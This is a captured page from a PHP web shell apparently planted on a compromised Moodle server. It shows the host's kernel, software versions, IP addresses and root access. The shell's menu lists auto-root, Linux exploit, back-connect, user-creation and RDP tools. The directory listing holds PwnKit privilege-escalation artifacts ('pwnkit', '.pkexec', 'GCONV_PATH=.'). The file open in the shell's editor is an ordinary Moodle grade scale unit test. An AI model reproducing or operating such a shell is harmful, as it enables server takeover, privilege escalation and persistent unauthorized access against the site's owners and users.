Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
lib /
grade /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
fixtures
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
grade_category_test.php
45.2
KB
-rwxrwxrwx
grade_grade_test.php
26.96
KB
-rwxrwxrwx
grade_item_test.php
49.47
KB
-rwxrwxrwx
grade_object_test.php
3.03
KB
-rwxrwxrwx
grade_outcome_test.php
4.05
KB
-rwxrwxrwx
grade_scale_test.php
6.55
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : grade_scale_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * @package core_grades * @category phpunit * @copyright nicolas@moodle.com * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); require_once(__DIR__.'/fixtures/lib.php'); class core_grade_scale_testcase extends grade_base_testcase { public function test_grade_scale() { $this->sub_test_scale_construct(); $this->sub_test_grade_scale_insert(); $this->sub_test_grade_scale_update(); $this->sub_test_grade_scale_delete(); $this->sub_test_grade_scale_fetch(); $this->sub_test_scale_load_items(); $this->sub_test_scale_compact_items(); $this->sub_test_scale_one_item(); } protected function sub_test_scale_construct() { $params = new stdClass(); $params->name = 'unittestscale3'; $params->courseid = $this->course->id; $params->userid = $this->userid; $params->scale = 'Distinction, Very Good, Good, Pass, Fail'; $params->description = 'This scale is used to mark standard assignments.'; $params->timemodified = time(); $scale = new grade_scale($params, false); $this->assertEquals($params->name, $scale->name); $this->assertEquals($params->scale, $scale->scale); $this->assertEquals($params->description, $scale->description); } protected function sub_test_grade_scale_insert() { $grade_scale = new grade_scale(); $this->assertTrue(method_exists($grade_scale, 'insert')); $grade_scale->name = 'unittestscale3'; $grade_scale->courseid = $this->courseid; $grade_scale->userid = $this->userid; $grade_scale->scale = 'Distinction, Very Good, Good, Pass, Fail'; $grade_scale->description = 'This scale is used to mark standard assignments.'; $grade_scale->insert(); $last_grade_scale = end($this->scale); $this->assertEquals($grade_scale->id, $last_grade_scale->id + 1); $this->assertNotEmpty($grade_scale->timecreated); $this->assertNotEmpty($grade_scale->timemodified); } protected function sub_test_grade_scale_update() { global $DB; $grade_scale = new grade_scale($this->scale[1], false); $this->assertTrue(method_exists($grade_scale, 'update')); $grade_scale->name = 'Updated info for this unittest grade_scale'; $this->assertTrue($grade_scale->update()); $name = $DB->get_field('scale', 'name', array('id' => $this->scale[1]->id)); $this->assertEquals($grade_scale->name, $name); } protected function sub_test_grade_scale_delete() { global $DB; $grade_scale = new grade_scale($this->scale[4], false); // Choose one we're not using elsewhere. $this->assertTrue(method_exists($grade_scale, 'delete')); $this->assertTrue($grade_scale->delete()); $this->assertFalse($DB->get_record('scale', array('id' => $grade_scale->id))); // Keep the reference collection the same as what is in the database. unset($this->scale[4]); } protected function sub_test_grade_scale_fetch() { $grade_scale = new grade_scale(); $this->assertTrue(method_exists($grade_scale, 'fetch')); $grade_scale = grade_scale::fetch(array('id'=>$this->scale[0]->id)); $this->assertEquals($this->scale[0]->id, $grade_scale->id); $this->assertEquals($this->scale[0]->name, $grade_scale->name); } protected function sub_test_scale_load_items() { $scale = new grade_scale($this->scale[0], false); $this->assertTrue(method_exists($scale, 'load_items')); $scale->load_items(); $this->assertCount(7, $scale->scale_items); $this->assertEquals('Fairly neutral', $scale->scale_items[2]); } protected function sub_test_scale_compact_items() { $scale = new grade_scale($this->scale[0], false); $this->assertTrue(method_exists($scale, 'compact_items')); $scale->load_items(); $scale->scale = null; $scale->compact_items(); // The original string and the new string may have differences in whitespace around the delimiter, and that's OK. $this->assertEquals(preg_replace('/\s*,\s*/', ',', $this->scale[0]->scale), $scale->scale); } protected function sub_test_scale_one_item() { $params = new stdClass(); $params->name = 'unittestscale1i'; $params->courseid = $this->course->id; $params->userid = $this->userid; $params->scale = 'Like'; $params->description = 'This scale is used to like something.'; $params->timemodified = time(); $scale = new grade_scale($params, false); $scale->load_items(); $this->assertCount(1, $scale->scale_items); $this->assertSame(array('Like'), $scale->scale_items); $this->assertSame('Like', $scale->compact_items()); $scale->insert(); // Manual grade item with 1 item scale. $grade_item = new stdClass(); $grade_item->courseid = $this->course->id; $grade_item->categoryid = $this->grade_categories[0]->id; $grade_item->itemname = 'manual grade_item scale_1'; $grade_item->itemtype = 'manual'; $grade_item->itemnumber = 0; $grade_item->needsupdate = false; $grade_item->gradetype = GRADE_TYPE_SCALE; $grade_item->scaleid = $scale->id; $grade_item->iteminfo = 'Manual grade item used for unit testing'; $grade_item->timecreated = time(); $grade_item->timemodified = time(); $grade_item = new grade_item($grade_item); $grade_item->insert(); $this->assertNotEmpty($grade_item->id); $this->assertEquals(1, $grade_item->grademin); $this->assertEquals(1, $grade_item->grademax); $status = $scale->is_used(); $this->assertTrue($status); } }
Close